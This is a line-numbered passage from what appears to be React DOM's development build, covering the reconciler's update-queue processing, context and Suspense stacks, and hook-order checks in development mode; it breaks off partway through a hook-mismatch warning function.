14394 } // This is the first dependency for this component. Create a new list.
14395
14396
14397 lastContextDependency = contextItem;
14398 currentlyRenderingFiber.dependencies = {
14399 lanes: NoLanes,
14400 firstContext: contextItem
14401 };
14402 } else {
14403 // Append a new context item.
14404 lastContextDependency = lastContextDependency.next = contextItem;
14405 }
14406 }
14407
14408 return value;
14409 }
14410
14411 // render. When this render exits, either because it finishes or because it is
14412 // interrupted, the interleaved updates will be transferred onto the main part
14413 // of the queue.
14414
14415 var concurrentQueues = null;
14416 function pushConcurrentUpdateQueue(queue) {
14417 if (concurrentQueues === null) {
14418 concurrentQueues = [queue];
14419 } else {
14420 concurrentQueues.push(queue);
14421 }
14422 }
14423 function finishQueueingConcurrentUpdates() {
14424 // Transfer the interleaved updates onto the main queue. Each queue has a
14425 // `pending` field and an `interleaved` field. When they are not null, they
14426 // point to the last node in a circular linked list. We need to append the
14427 // interleaved list to the end of the pending list by joining them into a
14428 // single, circular list.
14429 if (concurrentQueues !== null) {
14430 for (var i = 0; i < concurrentQueues.length; i++) {
14431 var queue = concurrentQueues[i];
14432 var lastInterleavedUpdate = queue.interleaved;
14433
14434 if (lastInterleavedUpdate !== null) {
14435 queue.interleaved = null;
14436 var firstInterleavedUpdate = lastInterleavedUpdate.next;
14437 var lastPendingUpdate = queue.pending;
14438
14439 if (lastPendingUpdate !== null) {
14440 var firstPendingUpdate = lastPendingUpdate.next;
14441 lastPendingUpdate.next = firstInterleavedUpdate;
14442 lastInterleavedUpdate.next = firstPendingUpdate;
14443 }
14444
14445 queue.pending = lastInterleavedUpdate;
14446 }
14447 }
14448
14449 concurrentQueues = null;
14450 }
14451 }
14452 function enqueueConcurrentHookUpdate(fiber, queue, update, lane) {
14453 var interleaved = queue.interleaved;
14454
14455 if (interleaved === null) {
14456 // This is the first update. Create a circular list.
14457 update.next = update; // At the end of the current render, this queue's interleaved updates will
14458 // be transferred to the pending queue.
14459
14460 pushConcurrentUpdateQueue(queue);
14461 } else {
14462 update.next = interleaved.next;
14463 interleaved.next = update;
14464 }
14465
14466 queue.interleaved = update;
14467 return markUpdateLaneFromFiberToRoot(fiber, lane);
14468 }
14469 function enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update, lane) {
14470 var interleaved = queue.interleaved;
14471
14472 if (interleaved === null) {
14473 // This is the first update. Create a circular list.
14474 update.next = update; // At the end of the current render, this queue's interleaved updates will
14475 // be transferred to the pending queue.
14476
14477 pushConcurrentUpdateQueue(queue);
14478 } else {
14479 update.next = interleaved.next;
14480 interleaved.next = update;
14481 }
14482
14483 queue.interleaved = update;
14484 }
14485 function enqueueConcurrentClassUpdate(fiber, queue, update, lane) {
14486 var interleaved = queue.interleaved;
14487
14488 if (interleaved === null) {
14489 // This is the first update. Create a circular list.
14490 update.next = update; // At the end of the current render, this queue's interleaved updates will
14491 // be transferred to the pending queue.
14492
14493 pushConcurrentUpdateQueue(queue);
14494 } else {
14495 update.next = interleaved.next;
14496 interleaved.next = update;
14497 }
14498
14499 queue.interleaved = update;
14500 return markUpdateLaneFromFiberToRoot(fiber, lane);
14501 }
14502 function enqueueConcurrentRenderForLane(fiber, lane) {
14503 return markUpdateLaneFromFiberToRoot(fiber, lane);
14504 } // Calling this function outside this module should only be done for backwards
14505 // compatibility and should always be accompanied by a warning.
14506
14507 var unsafe_markUpdateLaneFromFiberToRoot = markUpdateLaneFromFiberToRoot;
14508
14509 function markUpdateLaneFromFiberToRoot(sourceFiber, lane) {
14510 // Update the source fiber's lanes
14511 sourceFiber.lanes = mergeLanes(sourceFiber.lanes, lane);
14512 var alternate = sourceFiber.alternate;
14513
14514 if (alternate !== null) {
14515 alternate.lanes = mergeLanes(alternate.lanes, lane);
14516 }
14517
14518 {
14519 if (alternate === null && (sourceFiber.flags & (Placement | Hydrating)) !== NoFlags) {
14520 warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);
14521 }
14522 } // Walk the parent path to the root and update the child lanes.
14523
14524
14525 var node = sourceFiber;
14526 var parent = sourceFiber.return;
14527
14528 while (parent !== null) {
14529 parent.childLanes = mergeLanes(parent.childLanes, lane);
14530 alternate = parent.alternate;
14531
14532 if (alternate !== null) {
14533 alternate.childLanes = mergeLanes(alternate.childLanes, lane);
14534 } else {
14535 {
14536 if ((parent.flags & (Placement | Hydrating)) !== NoFlags) {
14537 warnAboutUpdateOnNotYetMountedFiberInDEV(sourceFiber);
14538 }
14539 }
14540 }
14541
14542 node = parent;
14543 parent = parent.return;
14544 }
14545
14546 if (node.tag === HostRoot) {
14547 var root = node.stateNode;
14548 return root;
14549 } else {
14550 return null;
14551 }
14552 }
14553
14554 var UpdateState = 0;
14555 var ReplaceState = 1;
14556 var ForceUpdate = 2;
14557 var CaptureUpdate = 3; // Global state that is reset at the beginning of calling `processUpdateQueue`.
14558 // It should only be read right after calling `processUpdateQueue`, via
14559 // `checkHasForceUpdateAfterProcessing`.
14560
14561 var hasForceUpdate = false;
14562 var didWarnUpdateInsideUpdate;
14563 var currentlyProcessingQueue;
14564
14565 {
14566 didWarnUpdateInsideUpdate = false;
14567 currentlyProcessingQueue = null;
14568 }
14569
14570 function initializeUpdateQueue(fiber) {
14571 var queue = {
14572 baseState: fiber.memoizedState,
14573 firstBaseUpdate: null,
14574 lastBaseUpdate: null,
14575 shared: {
14576 pending: null,
14577 interleaved: null,
14578 lanes: NoLanes
14579 },
14580 effects: null
14581 };
14582 fiber.updateQueue = queue;
14583 }
14584 function cloneUpdateQueue(current, workInProgress) {
14585 // Clone the update queue from current. Unless it's already a clone.
14586 var queue = workInProgress.updateQueue;
14587 var currentQueue = current.updateQueue;
14588
14589 if (queue === currentQueue) {
14590 var clone = {
14591 baseState: currentQueue.baseState,
14592 firstBaseUpdate: currentQueue.firstBaseUpdate,
14593 lastBaseUpdate: currentQueue.lastBaseUpdate,
14594 shared: currentQueue.shared,
14595 effects: currentQueue.effects
14596 };
14597 workInProgress.updateQueue = clone;
14598 }
14599 }
14600 function createUpdate(eventTime, lane) {
14601 var update = {
14602 eventTime: eventTime,
14603 lane: lane,
14604 tag: UpdateState,
14605 payload: null,
14606 callback: null,
14607 next: null
14608 };
14609 return update;
14610 }
14611 function enqueueUpdate(fiber, update, lane) {
14612 var updateQueue = fiber.updateQueue;
14613
14614 if (updateQueue === null) {
14615 // Only occurs if the fiber has been unmounted.
14616 return null;
14617 }
14618
14619 var sharedQueue = updateQueue.shared;
14620
14621 {
14622 if (currentlyProcessingQueue === sharedQueue && !didWarnUpdateInsideUpdate) {
14623 error('An update (setState, replaceState, or forceUpdate) was scheduled ' + 'from inside an update function. Update functions should be pure, ' + 'with zero side-effects. Consider using componentDidUpdate or a ' + 'callback.');
14624
14625 didWarnUpdateInsideUpdate = true;
14626 }
14627 }
14628
14629 if (isUnsafeClassRenderPhaseUpdate()) {
14630 // This is an unsafe render phase update. Add directly to the update
14631 // queue so we can process it immediately during the current render.
14632 var pending = sharedQueue.pending;
14633
14634 if (pending === null) {
14635 // This is the first update. Create a circular list.
14636 update.next = update;
14637 } else {
14638 update.next = pending.next;
14639 pending.next = update;
14640 }
14641
14642 sharedQueue.pending = update; // Update the childLanes even though we're most likely already rendering
14643 // this fiber. This is for backwards compatibility in the case where you
14644 // update a different component during render phase than the one that is
14645 // currently renderings (a pattern that is accompanied by a warning).
14646
14647 return unsafe_markUpdateLaneFromFiberToRoot(fiber, lane);
14648 } else {
14649 return enqueueConcurrentClassUpdate(fiber, sharedQueue, update, lane);
14650 }
14651 }
14652 function entangleTransitions(root, fiber, lane) {
14653 var updateQueue = fiber.updateQueue;
14654
14655 if (updateQueue === null) {
14656 // Only occurs if the fiber has been unmounted.
14657 return;
14658 }
14659
14660 var sharedQueue = updateQueue.shared;
14661
14662 if (isTransitionLane(lane)) {
14663 var queueLanes = sharedQueue.lanes; // If any entangled lanes are no longer pending on the root, then they must
14664 // have finished. We can remove them from the shared queue, which represents
14665 // a superset of the actually pending lanes. In some cases we may entangle
14666 // more than we need to, but that's OK. In fact it's worse if we *don't*
14667 // entangle when we should.
14668
14669 queueLanes = intersectLanes(queueLanes, root.pendingLanes); // Entangle the new transition lane with the other transition lanes.
14670
14671 var newQueueLanes = mergeLanes(queueLanes, lane);
14672 sharedQueue.lanes = newQueueLanes; // Even if queue.lanes already include lane, we don't know for certain if
14673 // the lane finished since the last time we entangled it. So we need to
14674 // entangle it again, just to be sure.
14675
14676 markRootEntangled(root, newQueueLanes);
14677 }
14678 }
14679 function enqueueCapturedUpdate(workInProgress, capturedUpdate) {
14680 // Captured updates are updates that are thrown by a child during the render
14681 // phase. They should be discarded if the render is aborted. Therefore,
14682 // we should only put them on the work-in-progress queue, not the current one.
14683 var queue = workInProgress.updateQueue; // Check if the work-in-progress queue is a clone.
14684
14685 var current = workInProgress.alternate;
14686
14687 if (current !== null) {
14688 var currentQueue = current.updateQueue;
14689
14690 if (queue === currentQueue) {
14691 // The work-in-progress queue is the same as current. This happens when
14692 // we bail out on a parent fiber that then captures an error thrown by
14693 // a child. Since we want to append the update only to the work-in
14694 // -progress queue, we need to clone the updates. We usually clone during
14695 // processUpdateQueue, but that didn't happen in this case because we
14696 // skipped over the parent when we bailed out.
14697 var newFirst = null;
14698 var newLast = null;
14699 var firstBaseUpdate = queue.firstBaseUpdate;
14700
14701 if (firstBaseUpdate !== null) {
14702 // Loop through the updates and clone them.
14703 var update = firstBaseUpdate;
14704
14705 do {
14706 var clone = {
14707 eventTime: update.eventTime,
14708 lane: update.lane,
14709 tag: update.tag,
14710 payload: update.payload,
14711 callback: update.callback,
14712 next: null
14713 };
14714
14715 if (newLast === null) {
14716 newFirst = newLast = clone;
14717 } else {
14718 newLast.next = clone;
14719 newLast = clone;
14720 }
14721
14722 update = update.next;
14723 } while (update !== null); // Append the captured update the end of the cloned list.
14724
14725
14726 if (newLast === null) {
14727 newFirst = newLast = capturedUpdate;
14728 } else {
14729 newLast.next = capturedUpdate;
14730 newLast = capturedUpdate;
14731 }
14732 } else {
14733 // There are no base updates.
14734 newFirst = newLast = capturedUpdate;
14735 }
14736
14737 queue = {
14738 baseState: currentQueue.baseState,
14739 firstBaseUpdate: newFirst,
14740 lastBaseUpdate: newLast,
14741 shared: currentQueue.shared,
14742 effects: currentQueue.effects
14743 };
14744 workInProgress.updateQueue = queue;
14745 return;
14746 }
14747 } // Append the update to the end of the list.
14748
14749
14750 var lastBaseUpdate = queue.lastBaseUpdate;
14751
14752 if (lastBaseUpdate === null) {
14753 queue.firstBaseUpdate = capturedUpdate;
14754 } else {
14755 lastBaseUpdate.next = capturedUpdate;
14756 }
14757
14758 queue.lastBaseUpdate = capturedUpdate;
14759 }
14760
14761 function getStateFromUpdate(workInProgress, queue, update, prevState, nextProps, instance) {
14762 switch (update.tag) {
14763 case ReplaceState:
14764 {
14765 var payload = update.payload;
14766
14767 if (typeof payload === 'function') {
14768 // Updater function
14769 {
14770 enterDisallowedContextReadInDEV();
14771 }
14772
14773 var nextState = payload.call(instance, prevState, nextProps);
14774
14775 {
14776 if ( workInProgress.mode & StrictLegacyMode) {
14777 setIsStrictModeForDevtools(true);
14778
14779 try {
14780 payload.call(instance, prevState, nextProps);
14781 } finally {
14782 setIsStrictModeForDevtools(false);
14783 }
14784 }
14785
14786 exitDisallowedContextReadInDEV();
14787 }
14788
14789 return nextState;
14790 } // State object
14791
14792
14793 return payload;
14794 }
14795
14796 case CaptureUpdate:
14797 {
14798 workInProgress.flags = workInProgress.flags & ~ShouldCapture | DidCapture;
14799 }
14800 // Intentional fallthrough
14801
14802 case UpdateState:
14803 {
14804 var _payload = update.payload;
14805 var partialState;
14806
14807 if (typeof _payload === 'function') {
14808 // Updater function
14809 {
14810 enterDisallowedContextReadInDEV();
14811 }
14812
14813 partialState = _payload.call(instance, prevState, nextProps);
14814
14815 {
14816 if ( workInProgress.mode & StrictLegacyMode) {
14817 setIsStrictModeForDevtools(true);
14818
14819 try {
14820 _payload.call(instance, prevState, nextProps);
14821 } finally {
14822 setIsStrictModeForDevtools(false);
14823 }
14824 }
14825
14826 exitDisallowedContextReadInDEV();
14827 }
14828 } else {
14829 // Partial state object
14830 partialState = _payload;
14831 }
14832
14833 if (partialState === null || partialState === undefined) {
14834 // Null and undefined are treated as no-ops.
14835 return prevState;
14836 } // Merge the partial state and the previous state.
14837
14838
14839 return assign({}, prevState, partialState);
14840 }
14841
14842 case ForceUpdate:
14843 {
14844 hasForceUpdate = true;
14845 return prevState;
14846 }
14847 }
14848
14849 return prevState;
14850 }
14851
14852 function processUpdateQueue(workInProgress, props, instance, renderLanes) {
14853 // This is always non-null on a ClassComponent or HostRoot
14854 var queue = workInProgress.updateQueue;
14855 hasForceUpdate = false;
14856
14857 {
14858 currentlyProcessingQueue = queue.shared;
14859 }
14860
14861 var firstBaseUpdate = queue.firstBaseUpdate;
14862 var lastBaseUpdate = queue.lastBaseUpdate; // Check if there are pending updates. If so, transfer them to the base queue.
14863
14864 var pendingQueue = queue.shared.pending;
14865
14866 if (pendingQueue !== null) {
14867 queue.shared.pending = null; // The pending queue is circular. Disconnect the pointer between first
14868 // and last so that it's non-circular.
14869
14870 var lastPendingUpdate = pendingQueue;
14871 var firstPendingUpdate = lastPendingUpdate.next;
14872 lastPendingUpdate.next = null; // Append pending updates to base queue
14873
14874 if (lastBaseUpdate === null) {
14875 firstBaseUpdate = firstPendingUpdate;
14876 } else {
14877 lastBaseUpdate.next = firstPendingUpdate;
14878 }
14879
14880 lastBaseUpdate = lastPendingUpdate; // If there's a current queue, and it's different from the base queue, then
14881 // we need to transfer the updates to that queue, too. Because the base
14882 // queue is a singly-linked list with no cycles, we can append to both
14883 // lists and take advantage of structural sharing.
14884 // TODO: Pass `current` as argument
14885
14886 var current = workInProgress.alternate;
14887
14888 if (current !== null) {
14889 // This is always non-null on a ClassComponent or HostRoot
14890 var currentQueue = current.updateQueue;
14891 var currentLastBaseUpdate = currentQueue.lastBaseUpdate;
14892
14893 if (currentLastBaseUpdate !== lastBaseUpdate) {
14894 if (currentLastBaseUpdate === null) {
14895 currentQueue.firstBaseUpdate = firstPendingUpdate;
14896 } else {
14897 currentLastBaseUpdate.next = firstPendingUpdate;
14898 }
14899
14900 currentQueue.lastBaseUpdate = lastPendingUpdate;
14901 }
14902 }
14903 } // These values may change as we process the queue.
14904
14905
14906 if (firstBaseUpdate !== null) {
14907 // Iterate through the list of updates to compute the result.
14908 var newState = queue.baseState; // TODO: Don't need to accumulate this. Instead, we can remove renderLanes
14909 // from the original lanes.
14910
14911 var newLanes = NoLanes;
14912 var newBaseState = null;
14913 var newFirstBaseUpdate = null;
14914 var newLastBaseUpdate = null;
14915 var update = firstBaseUpdate;
14916
14917 do {
14918 var updateLane = update.lane;
14919 var updateEventTime = update.eventTime;
14920
14921 if (!isSubsetOfLanes(renderLanes, updateLane)) {
14922 // Priority is insufficient. Skip this update. If this is the first
14923 // skipped update, the previous update/state is the new base
14924 // update/state.
14925 var clone = {
14926 eventTime: updateEventTime,
14927 lane: updateLane,
14928 tag: update.tag,
14929 payload: update.payload,
14930 callback: update.callback,
14931 next: null
14932 };
14933
14934 if (newLastBaseUpdate === null) {
14935 newFirstBaseUpdate = newLastBaseUpdate = clone;
14936 newBaseState = newState;
14937 } else {
14938 newLastBaseUpdate = newLastBaseUpdate.next = clone;
14939 } // Update the remaining priority in the queue.
14940
14941
14942 newLanes = mergeLanes(newLanes, updateLane);
14943 } else {
14944 // This update does have sufficient priority.
14945 if (newLastBaseUpdate !== null) {
14946 var _clone = {
14947 eventTime: updateEventTime,
14948 // This update is going to be committed so we never want uncommit
14949 // it. Using NoLane works because 0 is a subset of all bitmasks, so
14950 // this will never be skipped by the check above.
14951 lane: NoLane,
14952 tag: update.tag,
14953 payload: update.payload,
14954 callback: update.callback,
14955 next: null
14956 };
14957 newLastBaseUpdate = newLastBaseUpdate.next = _clone;
14958 } // Process this update.
14959
14960
14961 newState = getStateFromUpdate(workInProgress, queue, update, newState, props, instance);
14962 var callback = update.callback;
14963
14964 if (callback !== null && // If the update was already committed, we should not queue its
14965 // callback again.
14966 update.lane !== NoLane) {
14967 workInProgress.flags |= Callback;
14968 var effects = queue.effects;
14969
14970 if (effects === null) {
14971 queue.effects = [update];
14972 } else {
14973 effects.push(update);
14974 }
14975 }
14976 }
14977
14978 update = update.next;
14979
14980 if (update === null) {
14981 pendingQueue = queue.shared.pending;
14982
14983 if (pendingQueue === null) {
14984 break;
14985 } else {
14986 // An update was scheduled from inside a reducer. Add the new
14987 // pending updates to the end of the list and keep processing.
14988 var _lastPendingUpdate = pendingQueue; // Intentionally unsound. Pending updates form a circular list, but we
14989 // unravel them when transferring them to the base queue.
14990
14991 var _firstPendingUpdate = _lastPendingUpdate.next;
14992 _lastPendingUpdate.next = null;
14993 update = _firstPendingUpdate;
14994 queue.lastBaseUpdate = _lastPendingUpdate;
14995 queue.shared.pending = null;
14996 }
14997 }
14998 } while (true);
14999
15000 if (newLastBaseUpdate === null) {
15001 newBaseState = newState;
15002 }
15003
15004 queue.baseState = newBaseState;
15005 queue.firstBaseUpdate = newFirstBaseUpdate;
15006 queue.lastBaseUpdate = newLastBaseUpdate; // Interleaved updates are stored on a separate queue. We aren't going to
15007 // process them during this render, but we do need to track which lanes
15008 // are remaining.
15009
15010 var lastInterleaved = queue.shared.interleaved;
15011
15012 if (lastInterleaved !== null) {
15013 var interleaved = lastInterleaved;
15014
15015 do {
15016 newLanes = mergeLanes(newLanes, interleaved.lane);
15017 interleaved = interleaved.next;
15018 } while (interleaved !== lastInterleaved);
15019 } else if (firstBaseUpdate === null) {
15020 // `queue.lanes` is used for entangling transitions. We can set it back to
15021 // zero once the queue is empty.
15022 queue.shared.lanes = NoLanes;
15023 } // Set the remaining expiration time to be whatever is remaining in the queue.
15024 // This should be fine because the only two other things that contribute to
15025 // expiration time are props and context. We're already in the middle of the
15026 // begin phase by the time we start processing the queue, so we've already
15027 // dealt with the props. Context in components that specify
15028 // shouldComponentUpdate is tricky; but we'll have to account for
15029 // that regardless.
15030
15031
15032 markSkippedUpdateLanes(newLanes);
15033 workInProgress.lanes = newLanes;
15034 workInProgress.memoizedState = newState;
15035 }
15036
15037 {
15038 currentlyProcessingQueue = null;
15039 }
15040 }
15041
15042 function callCallback(callback, context) {
15043 if (typeof callback !== 'function') {
15044 throw new Error('Invalid argument passed as callback. Expected a function. Instead ' + ("received: " + callback));
15045 }
15046
15047 callback.call(context);
15048 }
15049
15050 function resetHasForceUpdateBeforeProcessing() {
15051 hasForceUpdate = false;
15052 }
15053 function checkHasForceUpdateAfterProcessing() {
15054 return hasForceUpdate;
15055 }
15056 function commitUpdateQueue(finishedWork, finishedQueue, instance) {
15057 // Commit the effects
15058 var effects = finishedQueue.effects;
15059 finishedQueue.effects = null;
15060
15061 if (effects !== null) {
15062 for (var i = 0; i < effects.length; i++) {
15063 var effect = effects[i];
15064 var callback = effect.callback;
15065
15066 if (callback !== null) {
15067 effect.callback = null;
15068 callCallback(callback, instance);
15069 }
15070 }
15071 }
15072 }
15073
15074 var NO_CONTEXT = {};
15075 var contextStackCursor$1 = createCursor(NO_CONTEXT);
15076 var contextFiberStackCursor = createCursor(NO_CONTEXT);
15077 var rootInstanceStackCursor = createCursor(NO_CONTEXT);
15078
15079 function requiredContext(c) {
15080 if (c === NO_CONTEXT) {
15081 throw new Error('Expected host context to exist. This error is likely caused by a bug ' + 'in React. Please file an issue.');
15082 }
15083
15084 return c;
15085 }
15086
15087 function getRootHostContainer() {
15088 var rootInstance = requiredContext(rootInstanceStackCursor.current);
15089 return rootInstance;
15090 }
15091
15092 function pushHostContainer(fiber, nextRootInstance) {
15093 // Push current root instance onto the stack;
15094 // This allows us to reset root when portals are popped.
15095 push(rootInstanceStackCursor, nextRootInstance, fiber); // Track the context and the Fiber that provided it.
15096 // This enables us to pop only Fibers that provide unique contexts.
15097
15098 push(contextFiberStackCursor, fiber, fiber); // Finally, we need to push the host context to the stack.
15099 // However, we can't just call getRootHostContext() and push it because
15100 // we'd have a different number of entries on the stack depending on
15101 // whether getRootHostContext() throws somewhere in renderer code or not.
15102 // So we push an empty value first. This lets us safely unwind on errors.
15103
15104 push(contextStackCursor$1, NO_CONTEXT, fiber);
15105 var nextRootContext = getRootHostContext(nextRootInstance); // Now that we know this function doesn't throw, replace it.
15106
15107 pop(contextStackCursor$1, fiber);
15108 push(contextStackCursor$1, nextRootContext, fiber);
15109 }
15110
15111 function popHostContainer(fiber) {
15112 pop(contextStackCursor$1, fiber);
15113 pop(contextFiberStackCursor, fiber);
15114 pop(rootInstanceStackCursor, fiber);
15115 }
15116
15117 function getHostContext() {
15118 var context = requiredContext(contextStackCursor$1.current);
15119 return context;
15120 }
15121
15122 function pushHostContext(fiber) {
15123 var rootInstance = requiredContext(rootInstanceStackCursor.current);
15124 var context = requiredContext(contextStackCursor$1.current);
15125 var nextContext = getChildHostContext(context, fiber.type); // Don't push this Fiber's context unless it's unique.
15126
15127 if (context === nextContext) {
15128 return;
15129 } // Track the context and the Fiber that provided it.
15130 // This enables us to pop only Fibers that provide unique contexts.
15131
15132
15133 push(contextFiberStackCursor, fiber, fiber);
15134 push(contextStackCursor$1, nextContext, fiber);
15135 }
15136
15137 function popHostContext(fiber) {
15138 // Do not pop unless this Fiber provided the current context.
15139 // pushHostContext() only pushes Fibers that provide unique contexts.
15140 if (contextFiberStackCursor.current !== fiber) {
15141 return;
15142 }
15143
15144 pop(contextStackCursor$1, fiber);
15145 pop(contextFiberStackCursor, fiber);
15146 }
15147
15148 var DefaultSuspenseContext = 0; // The Suspense Context is split into two parts. The lower bits is
15149 // inherited deeply down the subtree. The upper bits only affect
15150 // this immediate suspense boundary and gets reset each new
15151 // boundary or suspense list.
15152
15153 var SubtreeSuspenseContextMask = 1; // Subtree Flags:
15154 // InvisibleParentSuspenseContext indicates that one of our parent Suspense
15155 // boundaries is not currently showing visible main content.
15156 // Either because it is already showing a fallback or is not mounted at all.
15157 // We can use this to determine if it is desirable to trigger a fallback at
15158 // the parent. If not, then we might need to trigger undesirable boundaries
15159 // and/or suspend the commit to avoid hiding the parent content.
15160
15161 var InvisibleParentSuspenseContext = 1; // Shallow Flags:
15162 // ForceSuspenseFallback can be used by SuspenseList to force newly added
15163 // items into their fallback state during one of the render passes.
15164
15165 var ForceSuspenseFallback = 2;
15166 var suspenseStackCursor = createCursor(DefaultSuspenseContext);
15167 function hasSuspenseContext(parentContext, flag) {
15168 return (parentContext & flag) !== 0;
15169 }
15170 function setDefaultShallowSuspenseContext(parentContext) {
15171 return parentContext & SubtreeSuspenseContextMask;
15172 }
15173 function setShallowSuspenseContext(parentContext, shallowContext) {
15174 return parentContext & SubtreeSuspenseContextMask | shallowContext;
15175 }
15176 function addSubtreeSuspenseContext(parentContext, subtreeContext) {
15177 return parentContext | subtreeContext;
15178 }
15179 function pushSuspenseContext(fiber, newContext) {
15180 push(suspenseStackCursor, newContext, fiber);
15181 }
15182 function popSuspenseContext(fiber) {
15183 pop(suspenseStackCursor, fiber);
15184 }
15185
15186 function shouldCaptureSuspense(workInProgress, hasInvisibleParent) {
15187 // If it was the primary children that just suspended, capture and render the
15188 // fallback. Otherwise, don't capture and bubble to the next boundary.
15189 var nextState = workInProgress.memoizedState;
15190
15191 if (nextState !== null) {
15192 if (nextState.dehydrated !== null) {
15193 // A dehydrated boundary always captures.
15194 return true;
15195 }
15196
15197 return false;
15198 }
15199
15200 var props = workInProgress.memoizedProps; // Regular boundaries always capture.
15201
15202 {
15203 return true;
15204 } // If it's a boundary we should avoid, then we prefer to bubble up to the
15205 }
15206 function findFirstSuspended(row) {
15207 var node = row;
15208
15209 while (node !== null) {
15210 if (node.tag === SuspenseComponent) {
15211 var state = node.memoizedState;
15212
15213 if (state !== null) {
15214 var dehydrated = state.dehydrated;
15215
15216 if (dehydrated === null || isSuspenseInstancePending(dehydrated) || isSuspenseInstanceFallback(dehydrated)) {
15217 return node;
15218 }
15219 }
15220 } else if (node.tag === SuspenseListComponent && // revealOrder undefined can't be trusted because it don't
15221 // keep track of whether it suspended or not.
15222 node.memoizedProps.revealOrder !== undefined) {
15223 var didSuspend = (node.flags & DidCapture) !== NoFlags;
15224
15225 if (didSuspend) {
15226 return node;
15227 }
15228 } else if (node.child !== null) {
15229 node.child.return = node;
15230 node = node.child;
15231 continue;
15232 }
15233
15234 if (node === row) {
15235 return null;
15236 }
15237
15238 while (node.sibling === null) {
15239 if (node.return === null || node.return === row) {
15240 return null;
15241 }
15242
15243 node = node.return;
15244 }
15245
15246 node.sibling.return = node.return;
15247 node = node.sibling;
15248 }
15249
15250 return null;
15251 }
15252
15253 var NoFlags$1 =
15254 /* */
15255 0; // Represents whether effect should fire.
15256
15257 var HasEffect =
15258 /* */
15259 1; // Represents the phase in which the effect (not the clean-up) fires.
15260
15261 var Insertion =
15262 /* */
15263 2;
15264 var Layout =
15265 /* */
15266 4;
15267 var Passive$1 =
15268 /* */
15269 8;
15270
15271 // and should be reset before starting a new render.
15272 // This tracks which mutable sources need to be reset after a render.
15273
15274 var workInProgressSources = [];
15275 function resetWorkInProgressVersions() {
15276 for (var i = 0; i < workInProgressSources.length; i++) {
15277 var mutableSource = workInProgressSources[i];
15278
15279 {
15280 mutableSource._workInProgressVersionPrimary = null;
15281 }
15282 }
15283
15284 workInProgressSources.length = 0;
15285 }
15286 // This ensures that the version used for server rendering matches the one
15287 // that is eventually read during hydration.
15288 // If they don't match there's a potential tear and a full deopt render is required.
15289
15290 function registerMutableSourceForHydration(root, mutableSource) {
15291 var getVersion = mutableSource._getVersion;
15292 var version = getVersion(mutableSource._source); // TODO Clear this data once all pending hydration work is finished.
15293 // Retaining it forever may interfere with GC.
15294
15295 if (root.mutableSourceEagerHydrationData == null) {
15296 root.mutableSourceEagerHydrationData = [mutableSource, version];
15297 } else {
15298 root.mutableSourceEagerHydrationData.push(mutableSource, version);
15299 }
15300 }
15301
15302 var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher,
15303 ReactCurrentBatchConfig$2 = ReactSharedInternals.ReactCurrentBatchConfig;
15304 var didWarnAboutMismatchedHooksForComponent;
15305 var didWarnUncachedGetSnapshot;
15306
15307 {
15308 didWarnAboutMismatchedHooksForComponent = new Set();
15309 }
15310
15311 // These are set right before calling the component.
15312 var renderLanes = NoLanes; // The work-in-progress fiber. I've named it differently to distinguish it from
15313 // the work-in-progress hook.
15314
15315 var currentlyRenderingFiber$1 = null; // Hooks are stored as a linked list on the fiber's memoizedState field. The
15316 // current hook list is the list that belongs to the current fiber. The
15317 // work-in-progress hook list is a new list that will be added to the
15318 // work-in-progress fiber.
15319
15320 var currentHook = null;
15321 var workInProgressHook = null; // Whether an update was scheduled at any point during the render phase. This
15322 // does not get reset if we do another render pass; only when we're completely
15323 // finished evaluating this component. This is an optimization so we know
15324 // whether we need to clear render phase updates after a throw.
15325
15326 var didScheduleRenderPhaseUpdate = false; // Where an update was scheduled only during the current render pass. This
15327 // gets reset after each attempt.
15328 // TODO: Maybe there's some way to consolidate this with
15329 // `didScheduleRenderPhaseUpdate`. Or with `numberOfReRenders`.
15330
15331 var didScheduleRenderPhaseUpdateDuringThisPass = false; // Counts the number of useId hooks in this component.
15332
15333 var localIdCounter = 0; // Used for ids that are generated completely client-side (i.e. not during
15334 // hydration). This counter is global, so client ids are not stable across
15335 // render attempts.
15336
15337 var globalClientIdCounter = 0;
15338 var RE_RENDER_LIMIT = 25; // In DEV, this is the name of the currently executing primitive hook
15339
15340 var currentHookNameInDev = null; // In DEV, this list ensures that hooks are called in the same order between renders.
15341 // The list stores the order of hooks used during the initial render (mount).
15342 // Subsequent renders (updates) reference this list.
15343
15344 var hookTypesDev = null;
15345 var hookTypesUpdateIndexDev = -1; // In DEV, this tracks whether currently rendering component needs to ignore
15346 // the dependencies for Hooks that need them (e.g. useEffect or useMemo).
15347 // When true, such Hooks will always be "remounted". Only used during hot reload.
15348
15349 var ignorePreviousDependencies = false;
15350
15351 function mountHookTypesDev() {
15352 {
15353 var hookName = currentHookNameInDev;
15354
15355 if (hookTypesDev === null) {
15356 hookTypesDev = [hookName];
15357 } else {
15358 hookTypesDev.push(hookName);
15359 }
15360 }
15361 }
15362
15363 function updateHookTypesDev() {
15364 {
15365 var hookName = currentHookNameInDev;
15366
15367 if (hookTypesDev !== null) {
15368 hookTypesUpdateIndexDev++;
15369
15370 if (hookTypesDev[hookTypesUpdateIndexDev] !== hookName) {
15371 warnOnHookMismatchInDev(hookName);
15372 }
15373 }
15374 }
15375 }
15376
15377 function checkDepsAreArrayDev(deps) {
15378 {
15379 if (deps !== undefined && deps !== null && !isArray(deps)) {
15380 // Verify deps, but only on mount to avoid extra checks.
15381 // It's unlikely their type would change as usually you define them inline.
15382 error('%s received a final argument that is not an array (instead, received `%s`). When ' + 'specified, the final argument must be an array.', currentHookNameInDev, typeof deps);
15383 }
15384 }
15385 }
15386
15387 function warnOnHookMismatchInDev(currentHookName) {
15388 {
15389 var componentName = getComponentNameFromFiber(currentlyRenderingFiber$1);
15390
15391 if (!didWarnAboutMismatchedHooksForComponent.has(componentName)) {
15392 didWarnAboutMismatchedHooksForComponent.add(componentName);
15393
15394 if (hookTypesDev !== null) {
15395 var table = '';
15396 var secondColumnStart = 30;
15397
15398 for (var i = 0; i <= hookTypesUpdateIndexDev; i++) {
15399 var oldHookName = hookTypesDev[i];
15400 var newHookName = i === hookTypesUpdateIndexDev ? currentHookName : oldHookName;
15401 var row = i + 1 + ". " + oldHookName; // Extra space so second column lines up
15402 // lol @ IE not supporting String#repeat
15403
15404 while (row.length < secondColumnStart) {
15405 row += ' ';
15406 }
15407
15408 row += newHookName + '\n';
15409 table += row;
15410 }
15411
